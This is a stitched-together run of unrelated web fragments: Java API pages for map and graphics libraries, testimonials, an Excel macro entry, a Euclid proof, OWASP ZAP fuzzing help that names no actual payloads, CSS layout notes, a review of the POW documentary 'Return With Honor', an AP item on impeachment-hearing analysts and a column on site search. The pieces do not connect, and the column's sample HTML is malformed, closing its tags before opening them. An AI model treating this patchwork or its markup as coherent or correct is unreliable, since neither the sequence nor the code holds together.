public class MFPolygonOptions
extends java.lang.Object
| Constructor and Description |
|---|
MFPolygonOptions() |
| Modifier and Type | Method and Description |
|---|---|
MFPolygonOptions |
add(vn.map4d.types.MFLocationCoordinate... points)
Adds vertices to the outline of the polygon being built.
|
MFPolygonOptions |
add(vn.map4d.types.MFLocationCoordinate point)
Adds a vertex to the outline of the polygon being built.
|
MFPolygonOptions |
addHole(vn.map4d.types.MFLocationCoordinate... points)
Adds a hole to the polygon being built.
|
MFPolygonOptions |
alpha(float alpha)
Deprecated.
This method is no longer acceptable. Use
fillColor(int) instead
Set fill alpha chanel of the polygon. The default value is 1.0. The value must be in range [0.0, 1.0] |
MFPolygonOptions |
fillColor(int color)
Sets the fill color of the polygon.
|
MFPolygonOptions |
fillColor(java.lang.String color)
Deprecated.
This method will be removed in a future release. Please use
fillColor(int) instead of.
Sets the fill color of the polygon as 24 bits HEX color. The default color is red (#FF0000)
Refer this page to get HEX color code: link |
int |
getFillColor() |
java.util.List<java.util.List<vn.map4d.types.MFLocationCoordinate>> |
getHoles() |
java.util.List<vn.map4d.types.MFLocationCoordinate> |
getPoints() |
int |
getStrokeColor() |
float |
getStrokeWidth() |
java.lang.Object |
getUserData() |
float |
getZIndex() |
boolean |
isTouchable() |
boolean |
isVisible() |
MFPolygonOptions |
strokeColor(int color)
Sets the stroke color of the polygon.
|
MFPolygonOptions |
strokeColor(java.lang.String color)
Deprecated.
This method will be removed in a future release. Please use
strokeColor(int) instead of.
Sets the stroke color of the polygon as 24 bits HEX color. The default color is black (#000000)
Refer this page to get HEX color code: link |
MFPolygonOptions |
strokeWidth(float width)
Set stroke width of the polygon.
|
MFPolygonOptions |
touchable(boolean touchable)
A boolean value that determines whether user events are ignored and removed from the event queue.
|
MFPolygonOptions |
userData(java.lang.Object userData)
Set user data for the Polygon
|
MFPolygonOptions |
visible(boolean visible)
Specifies the visibility for the polygon.
|
MFPolygonOptions |
zIndex(float zIndex)
Set the zIndex for the polygon.
|
public MFPolygonOptions add(vn.map4d.types.MFLocationCoordinate... points)
points
- MFPolygonOptions
object with the given points added to the outline.public MFPolygonOptions add(vn.map4d.types.MFLocationCoordinate point)
point
- MFPolygonOptions
object with the given point added to the outline.public MFPolygonOptions addHole(vn.map4d.types.MFLocationCoordinate... points)
points
- MFPolygonOptions
object with the given hole added.@Deprecated public MFPolygonOptions fillColor(java.lang.String color)
fillColor(int)
instead of.
Sets the fill color of the polygon as 24 bits HEX color. The default color is red (#FF0000)
Refer this page to get HEX color code: linkcolor
- MFPolygonOptions
object with a new fill color set.public MFPolygonOptions fillColor(int color)
color
- MFPolygonOptions
object with a new fill color set.@Deprecated public MFPolygonOptions alpha(float alpha)
fillColor(int)
instead
Set fill alpha chanel of the polygon. The default value is 1.0. The value must be in range [0.0, 1.0]alpha
- the alpha valueMFPolygonOptions
object with a new fill color alpha set.@Deprecated public MFPolygonOptions strokeColor(java.lang.String color)
strokeColor(int)
instead of.
Sets the stroke color of the polygon as 24 bits HEX color. The default color is black (#000000)
Refer this page to get HEX color code: linkcolor
- MFPolygonOptions
object with a new stroke color set.public MFPolygonOptions strokeColor(int color)
color
- MFPolygonOptions
object with a new stroke color setpublic MFPolygonOptions strokeWidth(float width)
width
- the polygon's stroke width. This must be strictly positive, otherwise an IllegalArgumentException
will be thrown.MFPolygonOptions
object with a new width set.public MFPolygonOptions visible(boolean visible)
visible
- MFPolygonOptions
object with a new visibility setting.public MFPolygonOptions touchable(boolean touchable)
touchable
- MFPolygonOptions
object with a new touchable set.public MFPolygonOptions zIndex(float zIndex)
zIndex
- public MFPolygonOptions userData(java.lang.Object userData)
userData
- the user dataMFPolygonOptions
object with the given user data added.public float getZIndex()
public java.util.List<vn.map4d.types.MFLocationCoordinate> getPoints()
public java.util.List<java.util.List<vn.map4d.types.MFLocationCoordinate>> getHoles()
public int getFillColor()
public int getStrokeColor()
public float getStrokeWidth()
public boolean isVisible()
public boolean isTouchable()
public java.lang.Object getUserData()


"Dawn has contributed immensely to PDXWIT in her time as a volunteer. As a key member of the podcast team, she has supported everything from identifying and preparing guests to hosting interviews to engineering episodes. She also has been an externally facing spokesperson for the organization, doing radio, television and live event appearances. She brings an impressive technology background and exceptional people skills to her work and we are incredibly grateful for her contributions."
-Elizabeth Stock, PDXWIT executive director
"Dawn is driven, has a growth-mindset, and is a fountain of good ideas. She is a force of positivity and conintuous improvement in this world."
-April Leonard, Breaking the Glass Ceiling podcast lead
"I sincerely enjoyed working with Dawn. I appreciated her persistence, organization, drive, and everything she contributed to our team."
-Julie Stringham, Oregon Metro software developer
"Dawn is a passionate and strong individual that will bring an exciting dynamic to any work place. Her out-of-the-box thinking will breathe life into stagnant projects and work flow. I'm confident that Dawn can do anything!"
-Brenda Franco, Epicodus classmate


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Restrictions are principally designed to be used when there is a temporary issue with a project or environment such
that deploying would be dangerous or potentially degrade the product. In addition they can be used when
infrastructure security could be compromised by allowing any user to rollback or deploy a branch of their
choice.


Equivalent to clicking the Forward command on the Mail submenu of the File menu. Creates a new mailer to replace the previous version and brings up the mailer dialog.
Note This function is available on Macintosh computers with Microsoft Excel and Apple PowerTalk only.
Syntax
MAIL.FORWARD( )
Remarks
Returns the #VALUE! error value or #N/A if the current workbook has no mailer.
This function is available only when the current workbook is open and has been received by PowerTalk with a piece of mail to forward.
Related Functions
MAIL.EDIT.MAILER Allows you to edit a PowerTalk mailer attached to the active workbook
MAIL.DELETE.MAILER Deletes a new PowerTalk mailer to the active workbook
MAIL.ADD.MAILER Adds a new PowerTalk mailer to the active workbook
Return to index


Let ABC be a triangle having the side AC greater than AB.
I say that the angle ABC is also greater than the angle BCA.
Since AC is greater than AB, make AD equal to AB, and join BD.
Since the angle ADB is an exterior angle of the triangle BCD, therefore it is greater than the interior and opposite angle DCB.
But the angle ADB equals the angle ABD, since the side AB equals AD, therefore the angle ABD is also greater than the angle ACB. Therefore the angle ABC is much greater than the angle ACB.
Therefore in any triangle the angle opposite the greater side is greater.
Take, for instance, the statements of this and the next proposition. Very literal translations of these are (I.18) “In any triangle, the greater side [as subject] the greater angle [as object] subtends,” and (I.19) “In any triangle, the greater angle [as object] the greater side [as subject] subtends.”
Heath keeps the word order in his translation but makes the second statement passive: (I.18) “In any triangle the greater side subtends the greater angle,” and (I.19) “In any triangle the greater angle is subtended by the greater side.” Without the understanding that the data come first, these two sentences are logically equivalent.
In this translation the original word order is abandoned in order to make for more readable sentences and to clarify the meaning. Thus, (I.18) “In any triangle the angle opposite the greater side is greater,” and (I.19) “In any triangle the side opposite the greater angle is greater.”
It may sound like these two propositions really do say the same thing, but they don’t. they’re actually disguised converses of each other. I.18 says
while I.19 says


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| Interface Summary | |
|---|---|
| Displayable | Interface for objects that can be displayed on a DisplaySurface. |
| Drawable | Interface for those objects in 2D spaces that wish to be drawn on a DisplaySurface by a Displayable. |
| Drawable2DGridNode | Interface for a drawable 2 dimensional node that occupies a cell in a grid. |
| Drawable2DNode | Interface for a drawable 2 dimensional node that occupies a cell in a grid. |
| DrawableEdge | Edges that wish to be drawn must implement this interface. |
| DrawableMultiFeature | Created by IntelliJ IDEA. |
| DrawableNonGridNode | Interface for a drawable 2 dimensional "node." |
| GraphLayout | An Interface for laying out graphs (ie networks of nodes and edges). |
| MediaProducer | Interface for repast objects that can produce images or movies. |
| Moveable | Interface for those objects that can be dragged with the mouse on the display. |
| Named | Interface for Named objects. |
| NetworkDrawable | |
| NonGridDrawable | Objects that are drawn in non-grid displays. |
| Probeable | Interface for Displays that can be probed. |
| Zoomable |
| Class Summary | |
|---|---|
| AbstractGraphLayout | Abstract implementation of the GraphLayout interface. |
| BufferDataSource | A DataSource for turning JMF Buffers into movies. |
| BufferSourceStream | A DataSourceStream for turning JMF Buffers into movies. |
| CircleIcon | |
| CircularGraphLayout | |
| ColorMap | A customizable map of java.awt.Color(s) to Integers. |
| DefaultGraphLayout | Empty implementation of GraphLayout. |
| Display | Abstract class upon which custom displays can be built. |
| Display2D | Base class for all discrete 2D displays. |
| DisplayConstants | Constants used by the the various discrete space display classes. |
| DisplayInfo | Encapsulates information used by a display surface to create the view menu. |
| DisplaySurface | Handles the drawing of Displayables and the probing of probeables. |
| DrawableItem | Abstract class for objects inhabiting non-discrete spaces and that wish to be drawn by a Display. |
| DummyPainter | A dummy implementation of Painter that forwards paint calls back to the display surface. |
| FrameFactory | A Factory for JFrames that adds support for persistent location and size. |
| FruchGraphLayout | Positions nodes in layout according to iterations of an implementation of the Fruchmen-Reingold graph layout algorithm. |
| HexaDisplay2D | Base class for two dimensional displays of hexagonal spaces. |
| KamadaGraphLayout | Positions network nodes according to the Kamada-Kawai algorithm. |
| LayoutWithDisplay | |
| Legend | |
| LegendIcon | |
| LocalPainter | Used by DisplaySurface to do the actual painting of displayables. |
| MovieMaker | Takes DisplaySurface images and makes movies out of them. |
| MultiObject2DDisplay | Displays IMulti2DGrid-s and the objects contained within them. |
| Network2DDisplay | Displays nodes and links that inhabit a VectorSpace, that is, nodes (and their links) that do not inhabit a grid. |
| Network2DGridDisplay | Displays a 2D grid of Drawable2DNodes and DrawableEDges. |
| Object2DDisplay | Displays Discrete2DSpaces and the objects contained within them. |
| Object2DHexaDisplay | Title: 2D Hexagonal Spaces Description: 2D Hexagonal space library Copyright: Copyright (c) 2001 Company: Harvard University Displays a hexagonal layout of Discrete2DSpaces and the objects contained within them. |
| OvalIcon | |
| OvalItem | An oval shaped DrawableItem. |
| OvalNetworkItem | An oval shaped NetworkDrawable. |
| OvalNode | Deprecated. As of repast 2.0, OvalNodes and RectNodes will no longer work. |
| Painter | Abstract class for local and remote painting objects that do the actual work of getting Displayables to paint themselves. |
| ProbeableNumber | Turns a primitive number into an Object that can be probed. |
| ProducerNamePair | |
| RandomGraphLayout | |
| RectItem | A rectangular shaped DrawableItem. |
| RectNetworkItem | A rectangular shaped NetworkDrawable. |
| RectNode | Deprecated. As of repast 2.0, OvalNodes and RectNodes will no longer work. |
| RepastConsole | |
| RoundRectItem | A rounded rectangular shaped DrawableItem. |
| RoundRectNetworkItem | A rounded rectangular shaped NetworkDrawable. |
| SimGraphics | A Wrapper around java.awt.Graphics2D. |
| SquareIcon | |
| TextDisplay | A Display class that can be used to display lines of text on a DisplaySurface. |
| TextDisplay.Box | |
| Value2DDisplay | Displays 2d arrays of values (Integers or ints). |
| Value2DHexaDisplay | Displays 2d arrays of values (Integers or ints). |
| VectorDisplay | Used to display VectorSpaces - non-discrete spaces. |
| ViewEvent | A semantic event that indicates what kind of display event occured. |
|
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UCS Test Workbench
UCS Session
Show Configuration
NiFi Host
NiFi Client Command Port
NiFi Alerting Command Port
NiFi Management Command Port
NiFi Conversation Command Port
NiFi SendMessage Port
Client Host
Variable
Value
Conversations
<ALL>
Create New
Messages
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New Message
From
Emory Fry
Esteban Aliverti
Jonathan Hughes
Conversation
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Body
New Recipient
Emory Fry
Esteban Aliverti
Jonathan Hughes
John Doe (Unknown)
UCS (Chat Group)
Chat
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To
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My name is Travis Hoover, and I am married to a wonderful woman. I also know how to make websites, so I thought this would be a great way for me to let the world know how much I love her.
Randi has a new camera that is pretty nice, hopefully we can put it to good use in the beautiful mountains of Colorado.
A schedule of all of the fun things we are going to do for Randi's birthday!


Fuzzing
Fuzzing is a technique of submitting lots of invalid or unexpected data to a target.
ZAP allows you to fuzz any request still using:
- A build in set of payloads
- Payloads defined by optional add-ons
- Custom scripts
To access the Fuzzer dialog you can either:
- Right click a request in one of the ZAP tabs (such as the History or Sites) and select “Attack / Fuzz…”
- Highlight a string in the Request tab, right click it and select “Fuzz…”
- Select the “Tools / Fuzz…” menu item and then select the request you want to fuzz
Payload Generators
Payload Generators generate the raw attacks that the fuzzer submits to the target application.
They are managed via the Payloads dialog
Payload Processors
Payload Processors can be used to change specific payloads before they are submitted.
They are managed via the Payload Processors dialog
Fuzz Location Processors
Fuzz Location Processors can be used to change all of the payloads before they are submitted.
They are managed via the Location Processors dialog
Message Processors
Message Processors can access and change the messages being fuzzed, control the fuzzing process and interact with the ZAP UI.
They are managed via the Fuzzer dialog 'Message Processors' tab.
This functionality is based on code from the OWASP JBroFuzz project and includes files from the fuzzdb project.
Note that some fuzzdb files have been left out as they cause common anti virus scanners to flag them as containing viruses.
You can replace them (and upgrade fuzzdb) by downloading the latest version of fuzzdb and expanding it in the 'fuzzers' library.
See also


V container: layout content vertically;
H container: layout content horizontally;
V container with width:500px; child width:N/A;
child1
child2
new added child3,width:N/A;
V container with width:500px; child1 width:N/A; child2 width:300px;
child1
child2
new added child3, width:N/A, but it has very long content..........................................................................................
V container with width:60%; child1 width:N/A; child2 width:50%;
child1
child2
new added child3, width:50%
V container with width:60%; child1 width:N/A; child2 width:50%;
how to compute the width of self?
child1
child2
new added child3, width:1000px
V container with width:N/A; child1 width:N/A; child2 width:50%;
how to compute the width of self?
child1
child2
new added child3, width:50%; but it has very long content...............................................................................................................................................................................................................................
V container with width:N/A; child1 width:N/A; child2 width:50%;
how to compute the width of self?
child1
child 2
new added child3 width:1200px;
horizontal containers
if there are more then one child, child'width could not be N/A;
H container with width:N/A;
H container with width:500px; user added two modules
child1:250px;
child2:250px;
child1:166px;
child2:166px;
new child3:168px;
child1:33%;
child2:33%;
new child3:34%;
H container with width:500px; it has two width:N/A children
H container with width:500px; it has child1 width:N/A, child2:width:200px
child1:N/A;
child2:200px;
H container with width:500px; it has child1 width:N/A, child2:width:50%
H container with width:500px; it has child1 width:150px, child2:width:50%
child1:150px;
child2:50%;
if container has % width, children could only have % width
H container with width:50%; user added two modules
child1:33%;
child2:33%;
new child3:34%;
H container with width:50%; it has two width:N/A children
H container with width:50%; it has two width:200px children
child1:200px;
child2:200px;
H container with width:50%; it has child1 width:N/A, child2:width:200px
child1:N/A;
child2:200px;
H container with width:50%; it has child1 width:N/A, child2:width:50%
H container with width:50%; it has child1 width:150px, child2:width:50%
child1:150px;
child2:50%;
if container has N/A width, children could only have % width
H container with width:N/A; user added two modules
child1:33%;
child2:33%;
new child3:34%;
H container with width:N/A; it has two width:N/A children
H container with width:N/A; it has two width:200px children
child1:200px;
child2:200px;
H container with width:N/A; it has child1 width:N/A, child2:width:200px
child1:N/A;
child2:200px;
H container with width:N/A; it has child1 width:N/A, child2:width:50%
H container with width:N/A; it has child1 width:150px, child2:width:50%
child1:150px;
child2:50%;


We may reach out to you. We might want to alert you to research events, like webinars. We might want to tell you about other research opportunities.
You can still participate in SAMPLE even if you opt out of these follow up notifications.
There are two ways to opt out of follow up notifications. You can adjust the "permissions" setting in your SAMPLE profile. Or you can .


This is the API for the Blaze high performance C++ math library. It gives a complete overview of the individual features and sublibraries of Blaze. To get a first impression on Blaze, the short Getting Started tutorial is a good place to start. Afterwards, the following long tutorial covers the most important aspects of the Blaze math library. The tabs at the top of the page allow a direct access to the individual modules, namespaces, classes, and files of the Blaze library.


Package com.jme.environment.util
Class CubeMapWrapper
- java.lang.Object
-
- com.jme.environment.util.CubeMapWrapper
-
public class CubeMapWrapper extends java.lang.Object
Wraps a Cube map and allows to read from or write pixels into it. It uses the ImageRaster class to tailor the read write operations.- Author:
- Nehon
-
-
Constructor Summary
Constructors Constructor Description CubeMapWrapper(TextureCubeMap cubeMap)
Creates a CubeMapWrapper for the given cube map Note that the cube map must be initialized, and the mipmaps sizes should be set if relevant for them to be readable/writable
-
Method Summary
All Methods Instance Methods Concrete Methods Modifier and Type Method Description ColorRGBA
getPixel(int x, int y, int face, int mipLevel, ColorRGBA store)
Reads a pixel from the cube map given the 2D coordinates and the face and the mip level to read fromColorRGBA
getPixel(int x, int y, int face, ColorRGBA store)
Reads a pixel from the cube map given the 2D coordinates and the face to read fromColorRGBA
getPixel(Vector3f vector, float mipLevel, ColorRGBA store)
Reads a pixel from the cube map given the coordinate vectorColorRGBA
getPixel(Vector3f vector, ColorRGBA store)
Reads a pixel from the cube map given the coordinate vectorvoid
initMipMaps(int nbMipMaps)
Inits the mip maps of a cube map with the given number of mip mapsvoid
setPixel(int x, int y, int face, int mipLevel, ColorRGBA color)
Writes a pixel given the 2D cordinates, the mip level and the colorvoid
setPixel(int x, int y, int face, ColorRGBA color)
Writes a pixel given the 2D cordinates and the colorvoid
setPixel(Vector3f vector, int mipLevel, ColorRGBA color)
writes a pixel given the coordinates vector, the mip level and the color.void
setPixel(Vector3f vector, ColorRGBA color)
writes a pixel given the coordinates vector and the color.
-
-
-
Constructor Detail
-
CubeMapWrapper
public CubeMapWrapper(TextureCubeMap cubeMap)
Creates a CubeMapWrapper for the given cube map Note that the cube map must be initialized, and the mipmaps sizes should be set if relevant for them to be readable/writable- Parameters:
cubeMap
- the cubemap to wrap.
-
-
Method Detail
-
getPixel
public ColorRGBA getPixel(Vector3f vector, ColorRGBA store)
Reads a pixel from the cube map given the coordinate vector- Parameters:
vector
- the direction vector to fetch the texelstore
- the color in which to store the pixel color read.- Returns:
- the color of the pixel read.
-
getPixel
public ColorRGBA getPixel(Vector3f vector, float mipLevel, ColorRGBA store)
Reads a pixel from the cube map given the coordinate vector- Parameters:
vector
- the direction vector to fetch the texelmipLevel
- the mip level to read fromstore
- the color in which to store the pixel color read.- Returns:
- the color of the pixel read.
-
getPixel
public ColorRGBA getPixel(int x, int y, int face, ColorRGBA store)
Reads a pixel from the cube map given the 2D coordinates and the face to read from- Parameters:
x
- the x tex coordinate (from 0 to width)y
- the y tex coordinate (from 0 to height)face
- the face to read fromstore
- the color where the result is stored.- Returns:
- the color read.
-
getPixel
public ColorRGBA getPixel(int x, int y, int face, int mipLevel, ColorRGBA store)
Reads a pixel from the cube map given the 2D coordinates and the face and the mip level to read from- Parameters:
x
- the x tex coordinate (from 0 to width)y
- the y tex coordinate (from 0 to height)face
- the face to read frommipLevel
- the miplevel to read fromstore
- the color where the result is stored.- Returns:
- the color read.
-
setPixel
public void setPixel(Vector3f vector, ColorRGBA color)
writes a pixel given the coordinates vector and the color.- Parameters:
vector
- the coordinates where to write the pixelcolor
- the color to write
-
setPixel
public void setPixel(Vector3f vector, int mipLevel, ColorRGBA color)
writes a pixel given the coordinates vector, the mip level and the color.- Parameters:
vector
- the coordinates where to write the pixelmipLevel
- the miplevel to write tocolor
- the color to write
-
setPixel
public void setPixel(int x, int y, int face, ColorRGBA color)
Writes a pixel given the 2D cordinates and the color- Parameters:
x
- the x tex coord (from 0 to width)y
- the y tex coord (from 0 to height)face
- the face to write tocolor
- the color to write
-
setPixel
public void setPixel(int x, int y, int face, int mipLevel, ColorRGBA color)
Writes a pixel given the 2D cordinates, the mip level and the color- Parameters:
x
- the x tex coord (from 0 to width)y
- the y tex coord (from 0 to height)face
- the face to write tomipLevel
- the mip level to write tocolor
- the color to write
-
initMipMaps
public void initMipMaps(int nbMipMaps)
Inits the mip maps of a cube map with the given number of mip maps- Parameters:
nbMipMaps
- the number of mip maps to initialize
-
-


RETURN WITH HONOR
Reviewed by Harvey Karten, Ph.D. Ocean Releasing Director: Freida Lee Mock, Terry Sanders Writer: Freida Lee Mock, Terry Sanders, Christine Z. Wiser Cast: Everett Alvarez, Jim Stockdale, Jeremiah Denton, Robbie Risner, John McCain, Richard Stratton, John McGrath, Douglas Hegdahl, Ron Bliss, others
Presidents Kennedy and Johnson thought that if the U.S. did nothing to stop North Vietnam from annexing South Vietnam--as the former regime threatened to do in a civil war between those two separated regions--the countries surrounding Vietnam would fall to Communism one by one. Thailand, Cambodia, Laos, and eventually Japan would succumb to pressure from their neighbors and install pro-Communist regimes hostile to the West. We know now that they were wrong. Things just didn't turn out that way. The U.S. lost the first war in its history when the last of 450,000 American troops pulled out in 1973, Vietnam turned Red, and for the past 26 years Thailand and Japan remained solidly in the pro-Western camp.
But back in the sixties, only a handful of intellectuals and journalists warned against an action that most thought would be over in a matter of weeks. Gung-ho Americans, longing to reverse the Communist spread and see a little action, looked forward with enthusiasm to the U.S. involvement. Not the least of the ardent troops were airmen educated in the famous school for U.S. Air Force Academy in Colorado, who proceeded with the blessings of Kennedy and Johnson and later of President Nixon to bomb the blazes out of the hostile people taking their orders from Hanoi. Inevitably, a large number of aircraft were shot down, the men choosing when they could to bail out, hoping to use their training to flee to safety in the jungle. Things didn't work out quite that way for twenty particular men who are the subjects of a stunning documentary financed largely by Tom Hanks called "Return With Honor." The movie, directed by Freida Lee Mock and Terry Sanders (who had previously made "Maya Lin: A Strong Clear Vision"), is not of the razzle-dazzle sort that might bring a large nationwide audience to the multiplexes. Nonetheless, seeing "Return With Honor" is a moving experience, a movie inhabited only partly with the bane of documentaries--the talking heads--but populated as well with dramatic film clips taken from the war archives. Some celluloid has been supplied by the North Vietnamese, surprisingly enough, clips that put them in a bad light as people who ignored the Geneva Convention and resorted to torture and unconscionable manipulations to get the prisoners to give information and to "confess to war crimes" on TV. They did not consider the American action against them to be a war; hence, the prisoners were appraised as common criminals to be treated with all the means prohibited by international rules. By 1969 462 pilots were shot down and treated by their captors with bestial strategies. The subjects of this film were kept in the so-called Hanoi Hilton, a dungeon ironically built by the French to house Vietnamese while France was fighting in its former colony. The men were paraded in the streets to be stoned and spat upon by the residents, and, far worse, they were subjected to the rope torture. This involved tying their arms and hand tightly and twisting a rope until their elbows and shoulders were dislocated--ostensibly to get information which these soldiers could not possibly have about future targets.
Thinking that perhaps they could withstand the Asian hellhole for two years, they were overwhelmed by confinement for seven. Despite all, the twenty subjects of this picture had kept their spirits up and miraculously survived the occasional solitary confinement and poor diet to be reunited with their families after the signing of the Paris Peace Accords.
Although many returning veterans were emotionally disabled by their battlefield experiences, these men came out apparently without a trace of so-called shellshock and relate stories of unusually skillful techniques which they mastered in prison. Douglas Hegdahl, for example, was able to rattle off the names of all 268 POWs when he returned home, having memorized the names without even the benefit of pencil and paper. John McGrath found out that he was an artist when he broke the boils on his skin and used the pus to paint on the bleak stone walls of his 7x7 cell. Richard Stratton, who agreed to confess, foiled his captors on TV by pretending to be a robotized Manchurian Candidate while Jeremiah Denton, similarly put in front of a camera, checkmated his captors by blinking the word "torture" in Morse Code with his eyes. The men agreed that if they could not communicate with one another in their separate cells, they would go stark raving mad. They figured out a way to do this by tapping out a code of their own invention, putting the letters of the alphabet in five rows of five letters each and, for example, hitting the walls with tap tap (pause) tap tap tap, to mean row two letter three (which is H).
This extraordinary documentary was trashed in a mean- spirited Village Voice review by Michael Atkinson, who-- apparently furious that the antiwar protests were not given more than a few seconds of time--trashed everything from the camera's "drunken pans through jungles" to the lack of black and Hispanic prisoners, even taking the opportunity to jab at Steven Spielberg and Roberto Benigni for "dulcifying the Holocaust." Ignore the knee-jerk leftist reaction. "Return With Honor," which opened commercially in only one New York theater and seemingly not at all in L.A., is unabashedly patriotic--giving Americans a long-overdue message that the people who fought on the American side in the Vietnam was are indeed heroes.
Not Rated. Running Time: 102 minutes. (C) 1999 Harvey Karten
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This option allows you to pay a list of selected employees from a pay Grade by selecting the Period.
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MSNBC brings George Conway as analyst for Trump hearing
NEW YORK (AP) - MSNBC has George Conway, husband of White House counselor Kellyanne Conway and a prominent social media critic of President Donald Trump, as an analyst at the opening of the impeachment hearings.
Conway was identified as onscreen as a “conservative attorney.”
In the hour before the hearing started, Conway said he was horrified and appalled that few Republicans believe that Trump abused his power as president.
Meanwhile, Fox News Channel brought Kenneth Starr, the special prosecutor who made the case for President Bill Clinton’s impeachment, as an analyst prior to the hearing. Starr said making a charge of bribery against Trump is going to seem like a stretch for people on the street.
The hearing was being shown live on broadcast and cable news.
This story has been corrected to show Kellyanne Conway’s title is White House counselor.
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Site Search Reality Check
Last Updated Mar 2009
By Mark Bennett, New Idea Engineering, Inc. - Volume 3 Number 1 - January 2006
This is the premiere of our new "Site Search Reality Check" column.
In each issue we'll select a web site and provide constructive ideas on how their site search could be improved. Many of these ideas are also directly applicable to enterprise search engines and portals running inside private intranets. If you'd like us to feature your site in a future issue, or have ideas for other sites that could use a little site search tweaking, please drop us a line.
This month: Data Junction
On previous projects we had used a great data conversion utility called Data Junction that could import and export data between most of the major databases such as Oracle and Microsoft SQL Server. Recently, when one of our clients faced some data conversion issues, we mentioned Data Junction to them. When they sounded interested, I wanted to send them the URL to download a trial copy. Imagine my surprise when I double checked http://datajunction.com and found the product was no longer at that URL!
The Adventure Begins
Before sending clients a URL, I often double check that they still exist. When I went to http://datajunction.com I found it to be occupied by a "domain squatter", a company that holds a popular URL in hopes of selling it. It says "datajuction.com", but if you look carefully you'll notice all the generic entries and the "Popular Categories". I got the same with www.datajunction.com. See Figure 1a.
Figure 1a
This was really strange; I could have sworn that I had the right URL! Maybe my notes were wrong? I double checked with a quick Google search; it brought back the same results, http://datajunction.com, as you can see in Figure 1b.
Figure 1b
Well, if my notes were wrong, at least I'm good company.
Is That Really You?
When I did my Google search, I noticed some results had links to Pervasive Software, http://www.pervasive.com, so I visited their site shown in Figure 2.
Figure 2
This didn't look what I expected; there was nothing about Data Junction, but at least it was a software company. Google did return quite a few references to Data Junction, including many awards, some as recently as 2002 and 2003.
Software companies do merge and acquire each other, so I decided to poke around the Pervasive site. I looked at the top menu, the only two options that looked promising were "Products" and "Solutions", I figured a conversion utility would be product. Under Products menu they offer "Integration" and "Data Management" ??? those both sounded like possibilities. The closest sounding match was their Data Management "DataExchange" product, shown in Figure 3a.
Figure 3a
The page talks about data backup, but that wasn't what I wanted, I wanted to convert. It also talked about synchronizing multiple databases ??? I suppose that could be it, but really sounds like overkill, I just want an occasional batch conversion. More importantly, this page did not have the word "junction" on the it; nor the words "convert" or "conversion" so surely this was not the right place.
Back to the main page. The "Integration" menu offered "Data Integrator" and "Integration Manager". "Integrator" also sounded like more than what I wanted - see Figure 3b - but I tried it anyway. No luck - no "data junction".
Figure 3b
A casual user might hav given up there, but I really wanted to find out what happened to a very cool product. Aha! A search box!
Bring on the Site Search!
Many surveys talk about the large percentage of users who will use site search if it's available, on the order of 40 to 50%. As much as we like search, some of those surveys go on to say that the users who do use search would have used the site navigation features first, if it had been clear where to click.
This is the situation I was in. I had tried the obvious "Products" menu first, visited a couple of pages directly, and didn't find what I wanted. So I too was using search as a "Plan B" to find what I wanted.
Strike 1
I did a simple search for "data junction" as you can see in Figure 4.
Figure 4
This was very encouraging, I got 92 hits, so at least I know I'm in the right place! But the first search result is a log file. The next 3 are links to documentation, and the 5th result is an award for the product. I clicked on the link and found the page shown in Figure 5, dated 2002.
Figure 5
I had now confirmed that somehow Pervasive was the correct home for Data Junction, and it seemed likely that they had just renamed it. But I still had the bigger question of finding the main product page for it, and its new name, and also a link to download an evaluation copy.
Strike 2
Feeling quite sure that I was on the correct site, I decided to try a second search. This time I'd narrow down the scope of the search. The results list had checkboxes for which areas of the site to search across, so I unchecked Company Information, Developers, Partners, Solutions, Support and Postgres; the only box left checked was "Products". This time I only got back 4 documents, shown in Figure 6.
Figure 6
All four documents have the generic title "Pervasive Software Products", but if you look in the summaries you'll see a problem - none of the results are in English, and none of them have "junction" in the summary. I noticed a pattern in the 4 URLs which seemed to differ only by the last 2 letters - probably an abbreviation for the language codes. Ironic that the english version of the page did not show up in the search result list!
I opened up the Spanish page http://www.pervasive.com/products/index.asp?lang=SP and replaced the SP with EN http://www.pervasive.com/products/index.asp?lang=EN. See Figure 7 and Figure 8 respectively.
Figure 7
Figure 8
This still wasn't what I was looking for; the word "Junction" is still not there, though they do mention "conversion", under the "Pervasive Migration Toolkit" So "Data Junction" was now called "Migration Toolkit"!
Time for a Phone Call
By this time I had definitely confirmed that Pervasive had something to do with the old Data Junction; likely they had acquired the original company and renamed the product. Which of their products was the Data Junction I was looking for? I had seen at least 3 good candidates: "DataExchange" (my best guess), "Data Integrator", and "Pervasive Migration Toolkit". These all sounded like decent guesses. Pervasive's web site search certainly didn't enable me to answer my own questions in this case!
I gave them a call and spoke to a very polite sales person who told me "Data Junction" was now called "Data Integrator" which was my second guess based on the search results.
So Data Junction is now called Pervasive Data Integrator, and the main product page is at http://www.pervasive.com/dataintegrator/ Google filled in some of the details: Data Junction was bought by Pervasive Software in 2003, see the InfoWorld article http://www.infoworld.com/article/03/08/11/HNpervasivedata_1.html
Site Search Tweaks to Fix This
I didn't come here today to talk to you about Data Junction - I wanted to tell you about good search - or in some cases, search that could be improved. My persistence in this case is typical of sites many of us have visited; and solving simple problems like this with great site search makes for satisfied customers and lower support costs overall. All it takes is a little effort to make sure your web site has the answers to your customers' questions.Below we list some ideas about how this could be avoided. We're not suggesting that ALL these steps would be absolutely necessary, but at least worth considering. Our specific suggestions:
Administrative
Content
Meta Data
Content promotion
Search tagging
"Did you mean?"
Site thesaurus
Spider configuration
Search engine data quality
Search analytics
If possible, they should have retained the domain name datajuction.com Usually trademarks and domain names are considered intellectual property and are part of a technology acquisition.
They should have a specific landing page for Data Junction searches. This could serve as a landing page for both Google/Yahoo searches, as well as a landing page for their own site's search engine. Their current paid Google listing for "data junction" goes to an "ETL Solutions" page, which also doesn't mention Data Junction.
Though many mainstream Internet search engines have stopped using HTML meta tags such as the Description and Keywords fields due to abuse by spammers, many enterprise and site search engines still allow companies to use this within their web site. Although spammers have ruined meta tags on the public Internet, once you are within a controlled network they are still VERY valuable. Many enterprise search engines even have an option to display the Description in the results list. For example, in the Pervasive Data Integrator page they could have had:
<html>
<title>Data Junction Information Pag</title>
<meta name="description" content="Pervasive Data Integrator (formerly "Data
Junction") is a leading edge tool for database conversion and
ETL business applications.">
<meta name="keywords" content="ETL, Data Integrator, Data Junction,
data conversion, database conversion">
</head>
</html>
<body>
<head>
To reiterate, even though Google and Yahoo may not make use of this meta data, your own site search and corporate enterprise search engine still can. And since you presumably don't have fraudulent "spammers" inside your own company, this features can still work as originally intended.
At least on their own site, when a visitor searches for Data Junction, they should specifically call out the correct landing page; either the new landing page mentioned above, or the correct Data Integrator product page.
